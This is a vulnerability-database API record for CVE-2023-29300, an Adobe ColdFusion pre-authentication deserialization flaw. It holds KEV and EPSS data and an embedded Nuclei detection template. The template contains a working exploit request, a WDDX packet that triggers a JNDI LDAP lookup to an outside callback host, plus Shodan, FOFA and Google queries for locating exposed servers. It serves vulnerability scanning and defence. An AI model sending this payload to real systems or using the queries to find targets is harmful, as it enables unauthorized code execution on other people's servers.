{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2023-29300/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2023-29300/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2023-29300/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2023-29300/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2023-29300/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2023-29300"},"sightings":{"href":"/api/v1/sightings/cve-2023-29300"}},"enrichments":{"cisa-kev":{"kev":true},"epss":{"epss":0.99991,"kev":true,"percentile":0.99986},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2023/CVE-2023-29300.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2023-29300\n\ninfo:\n  name: Adobe ColdFusion - Pre-Auth Remote Code Execution\n  author: rootxharsh,iamnoooob,pdresearch\n  severity: critical\n  description: |\n    Adobe ColdFusion versions 2018u16 (and earlier), 2021u6 (and earlier) and 2023.0.0.330468 (and earlier) are affected by a Deserialization of Untrusted Data vulnerability that could result in Arbitrary code execution. Exploitation of this issue does not require user interaction.\n  impact: |\n    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.\n  remediation: |\n    Upgrade to Adobe ColdFusion version 2023.0.0.328155 or later to mitigate this vulnerability.\n  reference:\n    - https://blog.projectdiscovery.io/adobe-coldfusion-rce/\n    - https://helpx.adobe.com/security/products/coldfusion/apsb23-40.html\n    - https://github.com/Ostorlab/KEV\n    - https://github.com/Threekiii/Vulhub-Reproduce\n    - https://github.com/XRSec/AWVS-Update\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2023-29300\n    cwe-id: CWE-502\n    epss-score: 0.99991\n    epss-percentile: 0.99985\n    cpe: cpe:2.3:a:adobe:coldfusion:*:*:*:*:*:*:*:*\n  metadata:\n    max-request: 1\n    vendor: adobe\n    product: coldfusion\n    shodan-query:\n      - http.component:\"Adobe ColdFusion\"\n      - http.component:\"adobe coldfusion\"\n      - http.title:\"coldfusion administrator login\"\n      - cpe:\"cpe:2.3:a:adobe:coldfusion\"\n    fofa-query:\n      - app=\"Adobe-ColdFusion\"\n      - app=\"adobe-coldfusion\"\n      - title=\"coldfusion administrator login\"\n    google-query: intitle:\"coldfusion administrator login\"\n  tags: cve,cve2023,adobe,rce,coldfusion,deserialization,kev,vkev,vuln\nvariables:\n  callback: \"{{interactsh-url}}\"\n  jndi: \"ldap%3a//{{callback}}/rcrzfd\"\n\nhttp:\n  - raw:\n      - |\n        POST ///CFIDE/adminapi/accessmanager.cfc?method=foo&_cfclient=true HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        argumentCollection=<wddxPacket+version%3d'1.0'><header/><data><struct+type%3d'xcom.sun.rowset.JdbcRowSetImplx'><var+name%3d'dataSourceName'><string>{{jndi}}</string></var><var+name%3d'autoCommit'><boolean+value%3d'true'/></var></struct></data></wddxPacket>\n\n    matchers:\n      - type: dsl\n        dsl:\n          - contains(interactsh_protocol, \"dns\")\n          - contains(body, \"ColdFusion documentation\")\n        condition: and\n# digest: 4a0a00473045022100a479c836ca608fb80ef3e5afcee9b3ac87e8944cf231296cbda4da314840bd3402200565e7a3535616f8bb34f1d2a9752acee903a872f86a9d291026393831dca4be:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2023-29300"}